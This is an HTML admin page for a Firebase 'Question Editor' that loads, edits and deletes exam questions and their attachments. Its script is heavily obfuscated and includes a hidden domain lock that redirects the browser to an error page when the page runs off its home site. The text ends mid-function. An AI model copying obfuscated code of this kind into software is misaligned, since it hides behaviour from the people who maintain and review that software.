<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Question Editor</title>
    <script src="https://www.gstatic.com/firebasejs/9.6.1/firebase-app-compat.js"></script>
    <script src="https://www.gstatic.com/firebasejs/9.6.1/firebase-firestore-compat.js"></script>
    <script src="https://www.gstatic.com/firebasejs/9.6.1/firebase-storage-compat.js"></script>
    <script src="https://www.gstatic.com/firebasejs/9.6.1/firebase-auth-compat.js"></script>
    <script src="https://cdn.tailwindcss.com"></script>
    <link rel="icon" type="image/jpeg" href="logo.jpeg">

</head>
<body class="bg-gray-50">
    <!-- Auth Container -->
    <div id="authContainer" class="min-h-screen flex items-center justify-center p-6">
        <div class="max-w-md w-full">
            <!-- Login Form -->
            <div id="loginForm" class="bg-white rounded-lg shadow-sm p-8">
                <h2 class="text-2xl font-bold text-gray-900 mb-6">Login</h2>
                <form onsubmit="handleLogin(event)" class="space-y-4">
                    <div>
                        <label class="block text-sm font-medium text-gray-700 mb-1">Email</label>
                        <input type="email" id="loginEmail" required 
                            class="w-full rounded-md border-gray-300 shadow-sm focus:border-green-500 focus:ring-green-500">
                    </div>
                    <div>
                        <label class="block text-sm font-medium text-gray-700 mb-1">Password</label>
                        <input type="password" id="loginPassword" required 
                            class="w-full rounded-md border-gray-300 shadow-sm focus:border-green-500 focus:ring-green-500">
                    </div>
                    <button type="submit" 
                        class="w-full bg-green-600 text-white px-4 py-2 rounded-md hover:bg-green-700 transition-colors">
                        Login
                    </button>
                </form>
            </div>
        </div>
    </div>

    <!-- Main Application -->
    <div id="appContainer" class="hidden min-h-screen">
        <nav class="bg-white shadow-sm">
            <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
                <div class="flex justify-between h-16">
                    <div class="flex items-center">
                        <h1 class="text-xl font-bold text-gray-900">Question Editor</h1>
                    </div>
                    <div class="flex items-center space-x-4">
                        <span id="userEmail" class="text-gray-600"></span>
                        <button onclick="handleLogout()" 
                            class="bg-red-600 text-white px-4 py-2 rounded-md hover:bg-red-700 transition-colors">
                            Logout
                        </button>
                    </div>
                </div>
            </div>
        </nav>

        <div class="p-6">
            <div class="max-w-4xl mx-auto">
                <!-- Question ID Input -->
                <div class="bg-white rounded-lg shadow-sm p-6 mb-6">
                    <div class="flex gap-4">
                        <input type="text" id="questionId" placeholder="Enter question ID" 
                            class="flex-1 rounded-md border-gray-300 shadow-sm focus:border-green-500 focus:ring-green-500">
                        <button onclick="loadQuestion()" 
                            class="bg-green-600 text-white px-6 py-2 rounded-md hover:bg-green-700 transition-colors">
                            Load Question
                        </button>
                    </div>
                </div>

                <!-- Editor Form -->
                <div id="editorForm" class="bg-white rounded-lg shadow-sm p-6 hidden">
                    <form id="questionEditForm" class="space-y-6">
                        <!-- Subject -->
                        <div>
                            <label class="block text-sm font-medium text-gray-700 mb-1">Subject</label>
                            <select id="subject" class="w-full rounded-md border-gray-300 shadow-sm focus:border-green-500 focus:ring-green-500">
                                <option value="PHYSICS">Physics</option>
                                <option value="CHEMISTRY">Chemistry</option>
                                <option value="MATHS">Mathematics</option>
                            </select>
                        </div>

                        <!-- Chapter -->
                        <div>
                            <label class="block text-sm font-medium text-gray-700 mb-1">Chapter</label>
                            <input type="text" id="chapter" 
                                class="w-full rounded-md border-gray-300 shadow-sm focus:border-green-500 focus:ring-green-500">
                        </div>

                        <!-- Question Text -->
                        <div>
                            <label class="block text-sm font-medium text-gray-700 mb-1">Question Text</label>
                            <textarea id="questionText" rows="4" 
                                class="w-full rounded-md border-gray-300 shadow-sm focus:border-green-500 focus:ring-green-500"></textarea>
                        </div>

                        <!-- Current Attachments -->
                        <div>
                            <label class="block text-sm font-medium text-gray-700 mb-2">Current Attachments</label>
                            <div id="currentAttachments" class="grid grid-cols-1 md:grid-cols-2 gap-4"></div>
                        </div>

                        <!-- New Attachments -->
                        <div>
                            <label class="block text-sm font-medium text-gray-700 mb-1">Add New Attachments</label>
                            <input type="file" id="newAttachments" multiple 
                                class="block w-full text-sm text-gray-500 file:mr-4 file:py-2 file:px-4 file:rounded-full file:border-0 file:text-sm file:font-semibold file:bg-green-50 file:text-green-700 hover:file:bg-green-100">
                            <div id="newAttachmentsPreview" class="mt-2 grid grid-cols-2 gap-4"></div>
                        </div>

                        <!-- Save and Delete Buttons -->
                    <div class="flex justify-between mt-6">
                        <button onclick="handleDeleteQuestion()" 
                            class="bg-red-600 text-white px-6 py-2 rounded-md hover:bg-red-700 transition-colors">
                            Delete Question
                        </button>
                        <button type="submit" 
                            class="bg-green-600 text-white px-6 py-2 rounded-md hover:bg-green-700 transition-colors">
                            Save Changes
                        </button>
                    </div>
                     <!-- Delete Confirmation Modal -->
                     <div id="deleteModal" class="hidden fixed inset-0 bg-gray-600 bg-opacity-50 overflow-y-auto h-full w-full">
                        <div class="relative top-20 mx-auto p-5 border w-96 shadow-lg rounded-md bg-white">
                            <div class="mt-3 text-center">
                                <h3 class="text-lg leading-6 font-medium text-gray-900">Delete Question</h3>
                                <div class="mt-2 px-7 py-3">
                                    <p class="text-sm text-gray-500">
                                        Are you sure you want to delete this question? This action cannot be undone.
                                    </p>
                                </div>
                                <div class="items-center px-4 py-3">
                                    <button id="confirmDelete" 
                                        class="px-4 py-2 bg-red-600 text-white text-base font-medium rounded-md shadow-sm hover:bg-red-700 mr-2">
                                        Delete
                                    </button>
                                    <button id="cancelDelete"
                                        class="px-4 py-2 bg-gray-500 text-white text-base font-medium rounded-md shadow-sm hover:bg-gray-600">
                                        Cancel
                                    </button>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
                    </form>
                </div>

                <!-- Loading State -->
                <div id="loadingState" class="hidden">
                    <div class="flex justify-center items-center p-12">
                        <div class="loading w-12 h-12 border-4 border-green-500 border-t-transparent rounded-full"></div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <!-- Add this modal for attachment removal confirmation -->
<div id="removeAttachmentModal" class="hidden fixed inset-0 bg-gray-600 bg-opacity-50 overflow-y-auto h-full w-full">
    <div class="relative top-20 mx-auto p-5 border w-96 shadow-lg rounded-md bg-white">
        <div class="mt-3 text-center">
            <h3 class="text-lg leading-6 font-medium text-gray-900">Remove Attachment</h3>
            <div class="mt-2 px-7 py-3">
                <p class="text-sm text-gray-500">
                    Are you sure you want to remove this attachment? This action cannot be undone.
                </p>
            </div>
            <div class="items-center px-4 py-3">
                <button id="confirmRemove" 
                    class="px-4 py-2 bg-red-600 text-white text-base font-medium rounded-md shadow-sm hover:bg-red-700 mr-2">
                    Remove
                </button>
                <button id="cancelRemove"
                    class="px-4 py-2 bg-gray-500 text-white text-base font-medium rounded-md shadow-sm hover:bg-gray-600">
                    Cancel
                </button>
            </div>
        </div>
    </div>
</div>


    <script>
        const _0x22063f=_0x375c;(function(_0x82d344,_0x58f300){const _0xcb2d09=_0x375c,_0x377c37=_0x82d344();while(!![]){try{const _0x588ea3=parseInt(_0xcb2d09(0x14d))/0x1+-parseInt(_0xcb2d09(0x12c))/0x2+parseInt(_0xcb2d09(0x16e))/0x3+parseInt(_0xcb2d09(0x137))/0x4+-parseInt(_0xcb2d09(0x168))/0x5*(-parseInt(_0xcb2d09(0x13c))/0x6)+parseInt(_0xcb2d09(0x112))/0x7+-parseInt(_0xcb2d09(0x122))/0x8;if(_0x588ea3===_0x58f300)break;else _0x377c37['push'](_0x377c37['shift']());}catch(_0x3c303d){_0x377c37['push'](_0x377c37['shift']());}}}(_0x3418,0x245c9));const _0x210c83=(function(){let _0x2d3d39=!![];return function(_0x59a5db,_0x1d86ab){const _0x152468=_0x2d3d39?function(){const _0x520142=_0x375c;if(_0x1d86ab){const _0x506c23=_0x1d86ab[_0x520142(0x123)](_0x59a5db,arguments);return _0x1d86ab=null,_0x506c23;}}:function(){};return _0x2d3d39=![],_0x152468;};}()),_0x419b52=_0x210c83(this,function(){const _0x28b6ae=_0x375c,_0x1655a7=function(){const _0x30e010=_0x375c;let _0xe08e21;try{_0xe08e21=Function(_0x30e010(0x11b)+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x6aedcf){_0xe08e21=window;}return _0xe08e21;},_0x609fc=_0x1655a7(),_0x6a9d4c=new RegExp(_0x28b6ae(0x10f),'g'),_0x50d916=_0x28b6ae(0x11c)[_0x28b6ae(0x12e)](_0x6a9d4c,'')[_0x28b6ae(0x156)](';');let _0x15250f,_0x4b5bb4,_0xedeec0,_0x220ec1;const _0x1a0c9c=function(_0x59bd95,_0x3caec4,_0x84a4fb){const _0x107108=_0x28b6ae;if(_0x59bd95['length']!=_0x3caec4)return![];for(let _0x3ce215=0x0;_0x3ce215<_0x3caec4;_0x3ce215++){for(let _0x3f6739=0x0;_0x3f6739<_0x84a4fb[_0x107108(0x10b)];_0x3f6739+=0x2){if(_0x3ce215==_0x84a4fb[_0x3f6739]&&_0x59bd95['charCodeAt'](_0x3ce215)!=_0x84a4fb[_0x3f6739+0x1])return![];}}return!![];},_0x27fe33=function(_0x6e73a9,_0x2a2585,_0x26bf48){return _0x1a0c9c(_0x2a2585,_0x26bf48,_0x6e73a9);},_0x3f2c09=function(_0x3b8195,_0x326ad6,_0x20c148){return _0x27fe33(_0x326ad6,_0x3b8195,_0x20c148);},_0x42fb2b=function(_0x42231d,_0x4829df,_0x502461){return _0x3f2c09(_0x4829df,_0x502461,_0x42231d);};for(let _0x388cee in _0x609fc){if(_0x1a0c9c(_0x388cee,0x8,[0x7,0x74,0x5,0x65,0x3,0x75,0x0,0x64])){_0x15250f=_0x388cee;break;}}for(let _0x518a9d in _0x609fc[_0x15250f]){if(_0x42fb2b(0x6,_0x518a9d,[0x5,0x6e,0x0,0x64])){_0x4b5bb4=_0x518a9d;break;}}for(let _0x34e4bd in _0x609fc[_0x15250f]){if(_0x3f2c09(_0x34e4bd,[0x7,0x6e,0x0,0x6c],0x8)){_0xedeec0=_0x34e4bd;break;}}if(!('~'>_0x4b5bb4))for(let _0x5a4776 in _0x609fc[_0x15250f][_0xedeec0]){if(_0x27fe33([0x7,0x65,0x0,0x68],_0x5a4776,0x8)){_0x220ec1=_0x5a4776;break;}}if(!_0x15250f||!_0x609fc[_0x15250f])return;const _0xe24f7d=_0x609fc[_0x15250f][_0x4b5bb4],_0x4f90cb=!!_0x609fc[_0x15250f][_0xedeec0]&&_0x609fc[_0x15250f][_0xedeec0][_0x220ec1],_0x1eb9f1=_0xe24f7d||_0x4f90cb;if(!_0x1eb9f1)return;let _0x2bb076=![];for(let _0x2b7e65=0x0;_0x2b7e65<_0x50d916['length'];_0x2b7e65++){const _0x31af29=_0x50d916[_0x2b7e65],_0x1dd66c=_0x31af29[0x0]===String[_0x28b6ae(0x13a)](0x2e)?_0x31af29['slice'](0x1):_0x31af29,_0xadd42e=_0x1eb9f1[_0x28b6ae(0x10b)]-_0x1dd66c[_0x28b6ae(0x10b)],_0x1c2b8e=_0x1eb9f1[_0x28b6ae(0x128)](_0x1dd66c,_0xadd42e),_0x5258fb=_0x1c2b8e!==-0x1&&_0x1c2b8e===_0xadd42e;_0x5258fb&&((_0x1eb9f1['length']==_0x31af29[_0x28b6ae(0x10b)]||_0x31af29[_0x28b6ae(0x128)]('.')===0x0)&&(_0x2bb076=!![]));}if(!_0x2bb076){const _0x1d080f=new RegExp(_0x28b6ae(0x16f),'g'),_0x2f4010=_0x28b6ae(0x15b)['replace'](_0x1d080f,'');_0x609fc[_0x15250f][_0xedeec0]=_0x2f4010;}});_0x419b52();function _0x3418(){const _0x475d96=['now','remove','firestore','put','subject','Question\x20deleted\x20successfully!','5HNFuWo','trim','\x27)\x22\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20class=\x22absolute\x20top-2\x20right-2\x20bg-red-500\x20text-white\x20p-1\x20rounded-full\x20hover:bg-red-600\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<svg\x20class=\x22w-4\x20h-4\x22\x20fill=\x22none\x22\x20stroke=\x22currentColor\x22\x20viewBox=\x220\x200\x2024\x2024\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<path\x20stroke-linecap=\x22round\x22\x20stroke-linejoin=\x22round\x22\x20stroke-width=\x222\x22\x20d=\x22M6\x2018L18\x206M6\x206l12\x2012\x22></path>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</svg>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</button>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20','</p>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<button\x20onclick=\x22confirmRemoveAttachment(','questionId','Error\x20deleting\x20question:','213123kabVgf','[YLxBzzLfLZkMzIBDEETgHjkVCEzuCGzIqQxbFTJWPkwMUQGfOCGWyHFWNCuJxFuFCzNFILAgfgXXjSEBPbJDqgKVROzJTkuj]','Please\x20login\x20first','update','questionEditForm','collection','storage','add','doc','Please\x20enter\x20a\x20question\x20ID','currentUser','Error\x20deleting\x20file.\x20Please\x20try\x20again.','addEventListener','getDownloadURL','loginEmail','appContainer','loginPassword','value','currentAttachments','length','innerHTML','initializeApp','getElementById','[kXMYMhkHzVgGDINnyozkjMfRfPDfTEExYNNZJXVqL]','Logout\x20failed:\x20','Error\x20loading\x20question:','698544sUGyFW','Error\x20loading\x20question.\x20Please\x20try\x20again.','hidden','\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22h-32\x20flex\x20items-center\x20justify-center\x20bg-gray-100\x20rounded\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<svg\x20class=\x22w-8\x20h-8\x20text-gray-400\x22\x20fill=\x22none\x22\x20stroke=\x22currentColor\x22\x20viewBox=\x220\x200\x2024\x2024\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<path\x20stroke-linecap=\x22round\x22\x20stroke-linejoin=\x22round\x22\x20stroke-width=\x222\x22\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20d=\x22M9\x2012h6m-6\x204h6m2\x205H7a2\x202\x200\x2001-2-2V5a2\x202\x200\x20012-2h5.586a1\x201\x200\x2001.707.293l5.414\x205.414a1\x201\x200\x2001.293.707V19a2\x202\x200\x2001-2\x202z\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</path>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</svg>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<p\x20class=\x22text-sm\x20text-gray-600\x20truncate\x22>','delete','loadingState','reload','auth','</p>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20','return\x20(function()\x20','dksXMYMh-kHdzbVg.vGDIeNrncel.apyopzkjMfRfPDfTEExYNNZJXVqL','textContent','files','Error\x20deleting\x20question:\x20','data','classList','3570096IRjeMZ','apply','get','type','ds-summaries','<div\x20class=\x22h-32\x20flex\x20items-center\x20justify-center\x20bg-gray-100\x20rounded\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<svg\x20class=\x22w-8\x20h-8\x20text-gray-400\x22\x20fill=\x22none\x22\x20stroke=\x22currentColor\x22\x20viewBox=\x220\x200\x2024\x2024\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<path\x20stroke-linecap=\x22round\x22\x20stroke-linejoin=\x22round\x22\x20stroke-width=\x222\x22\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20d=\x22M9\x2012h6m-6\x204h6m2\x205H7a2\x202\x200\x2001-2-2V5a2\x202\x200\x20012-2h5.586a1\x201\x200\x2001.707.293l5.414\x205.414a1\x201\x200\x2001.293.707V19a2\x202\x200\x2001-2\x202z\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</path>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</svg>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>','indexOf','result','forEach','email','138952MxSlNm','onload','replace','questions/','questionText','ds-summaries.appspot.com','div','appendChild','questions','message','name','644176aAanls','from','error','fromCharCode','url','1049502dnwmsx','\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<img\x20src=\x22','file-preview\x20border\x20rounded-lg\x20p-4','File\x20deleted\x20successfully!','<img\x20src=\x22','Question\x20updated\x20successfully!','preventDefault','AIzaSyDBvlETwS3_4zy40inkdL49CpqM5TnapOc','target','userEmail','Error\x20deleting\x20file:','refFromURL','image/','newAttachments','toISOString','createElement','push','157881JCaIAz','onclick','\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20','confirmRemove','toggle','editorForm','deleteModal','Error\x20updating\x20question:','newAttachmentsPreview','split','readAsDataURL','chapter','className','authContainer','YLhttxpsB://zdsz-parLfaLZdiskMe.zIBvDEercEeTl.gapHpj/keVCErzuCGzrorI.htqQxbFmlTJWPkwMUQGfOCGWyHFWNCuJxFuFCzNFILAgfgXXjSEBPbJDqgKVROzJTkuj','children','\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<p\x20class=\x22text-sm\x20text-gray-600\x20truncate\x22>','match','reset','cancelRemove','removeAttachmentModal'];_0x3418=function(){return _0x475d96;};return _0x3418();}const firebaseConfig={'apiKey':_0x22063f(0x143),'projectId':_0x22063f(0x126),'storageBucket':_0x22063f(0x131)};firebase[_0x22063f(0x10d)](firebaseConfig);const db=firebase[_0x22063f(0x164)](),storage=firebase[_0x22063f(0x174)](),auth=firebase[_0x22063f(0x119)]();auth['onAuthStateChanged'](_0x476a37=>{const _0x4cb6a5=_0x22063f;_0x476a37?(document[_0x4cb6a5(0x10e)](_0x4cb6a5(0x15a))['classList'][_0x4cb6a5(0x175)](_0x4cb6a5(0x114)),document[_0x4cb6a5(0x10e)](_0x4cb6a5(0x17d))[_0x4cb6a5(0x121)]['remove'](_0x4cb6a5(0x114)),document['getElementById'](_0x4cb6a5(0x145))[_0x4cb6a5(0x11d)]=_0x476a37[_0x4cb6a5(0x12b)]):(document[_0x4cb6a5(0x10e)]('authContainer')[_0x4cb6a5(0x121)][_0x4cb6a5(0x163)]('hidden'),document['getElementById']('appContainer')[_0x4cb6a5(0x121)]['add'](_0x4cb6a5(0x114)),document['getElementById'](_0x4cb6a5(0x145))['textContent']='');});async function handleLogin(_0x2e24fa){const _0x14c0f8=_0x22063f;_0x2e24fa[_0x14c0f8(0x142)]();const _0xb954=document['getElementById'](_0x14c0f8(0x17c))[_0x14c0f8(0x109)],_0x15b63e=document['getElementById'](_0x14c0f8(0x17e))[_0x14c0f8(0x109)];try{await auth['signInWithEmailAndPassword'](_0xb954,_0x15b63e);}catch(_0x9a8d84){alert('Login\x20failed:\x20'+_0x9a8d84[_0x14c0f8(0x135)]);}}async function handleLogout(){const _0x50143b=_0x22063f;try{await auth['signOut'](),location[_0x50143b(0x118)]();}catch(_0x530ea0){alert(_0x50143b(0x110)+_0x530ea0['message']);}}function toggleLoading(_0x2c9525){const _0x5970d7=_0x22063f;document[_0x5970d7(0x10e)](_0x5970d7(0x117))[_0x5970d7(0x121)][_0x5970d7(0x151)](_0x5970d7(0x114),!_0x2c9525),document[_0x5970d7(0x10e)]('editorForm')[_0x5970d7(0x121)][_0x5970d7(0x151)](_0x5970d7(0x114),_0x2c9525);}let currentFiles=[];async function loadQuestion(){const _0x428e13=_0x22063f;if(!auth[_0x428e13(0x178)]){alert(_0x428e13(0x170));return;}const _0x261fc7=document[_0x428e13(0x10e)]('questionId')[_0x428e13(0x109)][_0x428e13(0x169)]();if(!_0x261fc7){alert(_0x428e13(0x177));return;}toggleLoading(!![]);try{const _0x5697f4=await db['collection'](_0x428e13(0x134))[_0x428e13(0x176)](_0x261fc7)[_0x428e13(0x124)]();if(!_0x5697f4['exists']){alert('Question\x20not\x20found');return;}const _0x15bb54=_0x5697f4[_0x428e13(0x120)]();document[_0x428e13(0x10e)]('subject')['value']=_0x15bb54[_0x428e13(0x166)]||'',document[_0x428e13(0x10e)]('chapter')[_0x428e13(0x109)]=_0x15bb54[_0x428e13(0x158)]||'',document[_0x428e13(0x10e)](_0x428e13(0x130))[_0x428e13(0x109)]=_0x15bb54['questionText']||'',currentFiles=_0x15bb54['files']||[];const _0x5d08b2=document[_0x428e13(0x10e)](_0x428e13(0x10a));_0x5d08b2[_0x428e13(0x10c)]='',currentFiles[_0x428e13(0x10b)]>0x0&&currentFiles[_0x428e13(0x12a)]((_0x5cc310,_0x447ede)=>{const _0x1f942e=_0x428e13,_0x3fc308=_0x5cc310[_0x1f942e(0x13b)][_0x1f942e(0x15e)](/\.(jpg|jpeg|png|gif)$/i),_0x453a19=document[_0x1f942e(0x14b)](_0x1f942e(0x132));_0x453a19[_0x1f942e(0x159)]='file-preview\x20border\x20rounded-lg\x20p-4\x20relative',_0x453a19[_0x1f942e(0x10c)]=_0x1f942e(0x14f)+(_0x3fc308?_0x1f942e(0x140)+_0x5cc310[_0x1f942e(0x13b)]+'\x22\x20alt=\x22'+_0x5cc310[_0x1f942e(0x136)]+'\x22\x20class=\x22w-full\x20h-32\x20object-cover\x20rounded\x20mb-2\x22>':_0x1f942e(0x127))+_0x1f942e(0x15d)+_0x5cc310['name']+_0x1f942e(0x16b)+_0x447ede+',\x20\x27'+_0x5cc310[_0x1f942e(0x13b)]+_0x1f942e(0x16a),_0x5d08b2['appendChild'](_0x453a19);}),toggleLoading(![]);}catch(_0x16eced){console[_0x428e13(0x139)](_0x428e13(0x111),_0x16eced),alert(_0x428e13(0x113)),toggleLoading(![]);}}function confirmRemoveAttachment(_0x4bf78b,_0x2636d1){const _0x3b3e04=_0x22063f,_0x1ae4cc=document[_0x3b3e04(0x10e)](_0x3b3e04(0x161));_0x1ae4cc[_0x3b3e04(0x121)][_0x3b3e04(0x163)]('hidden'),document['getElementById'](_0x3b3e04(0x150))[_0x3b3e04(0x14e)]=async()=>{const _0x521586=_0x3b3e04;_0x1ae4cc[_0x521586(0x121)][_0x521586(0x175)](_0x521586(0x114)),await removeAttachment(_0x4bf78b,_0x2636d1);},document['getElementById'](_0x3b3e04(0x160))[_0x3b3e04(0x14e)]=()=>{const _0x2e3986=_0x3b3e04;_0x1ae4cc[_0x2e3986(0x121)][_0x2e3986(0x175)]('hidden');};}async function removeAttachment(_0x36a874,_0xda9dc9){const _0x2d8ebb=_0x22063f;try{const _0x116db3=storage[_0x2d8ebb(0x147)](_0xda9dc9);await _0x116db3[_0x2d8ebb(0x116)]();const _0x308854=document[_0x2d8ebb(0x10e)]('currentAttachments');_0x308854[_0x2d8ebb(0x15c)][_0x36a874][_0x2d8ebb(0x163)](),currentFiles=currentFiles['filter']((_0x4ad52e,_0x4f2b4b)=>_0x4f2b4b!==_0x36a874);const _0x230a57=document[_0x2d8ebb(0x10e)](_0x2d8ebb(0x16c))['value']['trim']();await db['collection']('questions')[_0x2d8ebb(0x176)](_0x230a57)[_0x2d8ebb(0x171)]({'files':currentFiles}),alert(_0x2d8ebb(0x13f));}catch(_0x2417db){console['error'](_0x2d8ebb(0x146),_0x2417db),alert(_0x2d8ebb(0x179));}}document['getElementById'](_0x22063f(0x149))[_0x22063f(0x17a)]('change',_0x2af9cd=>{const _0x326b2e=_0x22063f,_0x15173a=document[_0x326b2e(0x10e)](_0x326b2e(0x155));_0x15173a[_0x326b2e(0x10c)]='',Array[_0x326b2e(0x138)](_0x2af9cd[_0x326b2e(0x144)][_0x326b2e(0x11e)])['forEach'](_0x3c5047=>{const _0x2ffb8b=_0x326b2e,_0x2ff71d=new FileReader(),_0x502f93=document['createElement'](_0x2ffb8b(0x132));_0x502f93[_0x2ffb8b(0x159)]=_0x2ffb8b(0x13e),_0x3c5047[_0x2ffb8b(0x125)]['startsWith'](_0x2ffb8b(0x148))?(_0x2ff71d[_0x2ffb8b(0x12d)]=_0x5af353=>{const _0x443dff=_0x2ffb8b;_0x502f93[_0x443dff(0x10c)]=_0x443dff(0x13d)+_0x5af353[_0x443dff(0x144)][_0x443dff(0x129)]+'\x22\x20class=\x22w-full\x20h-32\x20object-cover\x20rounded\x20mb-2\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<p\x20class=\x22text-sm\x20text-gray-600\x20truncate\x22>'+_0x3c5047[_0x443dff(0x136)]+_0x443dff(0x11a);},_0x2ff71d[_0x2ffb8b(0x157)](_0x3c5047)):_0x502f93[_0x2ffb8b(0x10c)]=_0x2ffb8b(0x115)+_0x3c5047[_0x2ffb8b(0x136)]+'</p>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20',_0x15173a[_0x2ffb8b(0x133)](_0x502f93);});}),document[_0x22063f(0x10e)](_0x22063f(0x172))[_0x22063f(0x17a)]('submit',async _0x5db6f3=>{const _0x1bfcee=_0x22063f;_0x5db6f3[_0x1bfcee(0x142)]();const _0x1f5acf=document[_0x1bfcee(0x10e)](_0x1bfcee(0x16c))[_0x1bfcee(0x109)][_0x1bfcee(0x169)]();if(!auth[_0x1bfcee(0x178)]){alert(_0x1bfcee(0x170));return;}toggleLoading(!![]);try{const _0x3a8219=document[_0x1bfcee(0x10e)](_0x1bfcee(0x149))[_0x1bfcee(0x11e)],_0x18c780=[];for(const _0x43cc07 of _0x3a8219){const _0x391bfa=storage['ref'](_0x1bfcee(0x12f)+Date[_0x1bfcee(0x162)]()+'_'+_0x43cc07[_0x1bfcee(0x136)]);await _0x391bfa[_0x1bfcee(0x165)](_0x43cc07);const _0x311728=await _0x391bfa[_0x1bfcee(0x17b)]();_0x18c780[_0x1bfcee(0x14c)]({'name':_0x43cc07['name'],'url':_0x311728,'type':_0x43cc07['type'],'uploadedAt':new Date()[_0x1bfcee(0x14a)]()});}const _0x15e29b=[...currentFiles,..._0x18c780];await db[_0x1bfcee(0x173)](_0x1bfcee(0x134))[_0x1bfcee(0x176)](_0x1f5acf)['update']({'subject':document[_0x1bfcee(0x10e)](_0x1bfcee(0x166))['value'],'chapter':document[_0x1bfcee(0x10e)](_0x1bfcee(0x158))[_0x1bfcee(0x109)],'questionText':document[_0x1bfcee(0x10e)](_0x1bfcee(0x130))[_0x1bfcee(0x109)],'files':_0x15e29b,'lastEdited':new Date()['toISOString'](),'editedBy':auth[_0x1bfcee(0x178)][_0x1bfcee(0x12b)]}),alert(_0x1bfcee(0x141)),document[_0x1bfcee(0x10e)](_0x1bfcee(0x149))[_0x1bfcee(0x109)]='',document[_0x1bfcee(0x10e)](_0x1bfcee(0x155))[_0x1bfcee(0x10c)]='',await loadQuestion();}catch(_0x133cd0){console['error'](_0x1bfcee(0x154),_0x133cd0),alert('Error\x20updating\x20question:\x20'+_0x133cd0[_0x1bfcee(0x135)]);}finally{toggleLoading(![]);}});function _0x375c(_0x45e2bd,_0x2aee8d){const _0x288508=_0x3418();return _0x375c=function(_0x419b52,_0x210c83){_0x419b52=_0x419b52-0x109;let _0x13c612=_0x288508[_0x419b52];return _0x13c612;},_0x375c(_0x45e2bd,_0x2aee8d);}function showDeleteModal(){const _0x506079=_0x22063f;document[_0x506079(0x10e)](_0x506079(0x153))[_0x506079(0x121)]['remove'](_0x506079(0x114));}function hideDeleteModal(){const _0x1baef4=_0x22063f;document[_0x1baef4(0x10e)]('deleteModal')[_0x1baef4(0x121)][_0x1baef4(0x175)](_0x1baef4(0x114));}async function handleDeleteQuestion(){const _0x38aafa=_0x22063f;if(!auth[_0x38aafa(0x178)]){alert(_0x38aafa(0x170));return;}showDeleteModal(),document[_0x38aafa(0x10e)]('confirmDelete')['onclick']=async()=>{const _0x5ab195=_0x38aafa;hideDeleteModal(),toggleLoading(!![]);try{const 